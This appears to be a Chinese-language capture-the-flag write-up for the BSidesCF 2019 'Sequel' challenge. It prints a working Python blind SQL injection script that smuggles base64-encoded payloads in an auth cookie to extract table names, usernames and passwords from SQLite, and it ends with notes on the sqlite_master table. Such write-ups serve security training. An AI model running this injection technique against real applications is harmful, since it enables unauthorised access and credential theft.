[BSidesCF 2019]Sequel
解题步骤
由于接触sqlite不多,只能抄wp了。
登录居然能试出来?
guest guest登录。
然后cookie是base64加密的。估计是cookie来注入了。
贴一个sqlite盲注脚本:
import requests
import string
import base64
URL = 'http://13aa476e-8593-4c3e-8df8-e6ae0bc632eb.node4.buuoj.cn:81/sequels'
LETTERS = string.printable
target = ""
while True:
f = False
for e in LETTERS:
tmp = target + e
# 1.テーブル名を取得
# payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(
# len(tmp), e)
# 2.usernameを取得
# payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
# 3.passwordを取得
payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8")
req = requests.Request(
'GET',
URL,
params={
},
cookies={
"1337_AUTH": payload
}
)
prepared = req.prepare()
s = requests.Session()
r = s.send(prepared, allow_redirects=False)
if "Movie" in r.text:
target = tmp
print(target)
f = True
break
if f: continue
exit()
exp来自:https://graneed.hatenablog.com/entry/2019/03/05/204738
用admin登录即可得到flag
SQLite数据库中一个特殊的名叫 SQLITE_MASTER 上执行一个SELECT查询以获得所有表的索引。每一个 SQLite 数据库都有一个叫 SQLITE_MASTER 的表, 它定义数据库的模式。 SQLITE_MASTER 表看起来如下:
CREATE TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);
对于表来说,type 字段永远是 ‘table’,name 字段永远是表的名字。所以,要获得数据库中所有表的列表, 使用下列SELECT语句:
SELECT name FROM sqlite_master
WHERE type=’table’
ORDER BY name;
对于索引,type 等于 ‘index’, name 则是索引的名字,tbl_name 是该索引所属的表的名字。 不管是表还是索引,sql 字段是原先用 CREATE TABLE 或 CREATE INDEX 语句创建它们时的命令文本。对于自动创建的索引(用来实现 PRIMARY KEY 或 UNIQUE 约束),sql字段为NULL。
https://blog.csdn.net/xingfeng0501/article/details/7804378